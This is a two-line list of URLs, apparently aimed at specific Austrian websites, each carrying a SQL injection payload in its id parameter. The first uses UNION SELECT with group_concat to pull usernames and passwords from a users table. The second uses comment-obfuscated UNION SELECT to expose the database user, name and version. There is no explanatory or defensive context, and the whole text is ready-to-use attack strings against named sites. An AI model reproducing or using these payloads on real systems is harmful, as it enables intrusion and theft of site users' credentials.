http://www.freie-radios.at/cmfe/print.php?id=-25%27+union+select+1,group_concat(username,0x3ae,password),3,4,5,6+from+users+--+f

http://www.bioenergetik.at/page.php?id=-25/**/union/**/select/**/1,2,3,4,concat_ws(user(),database(),version()),6,7,8,9,10--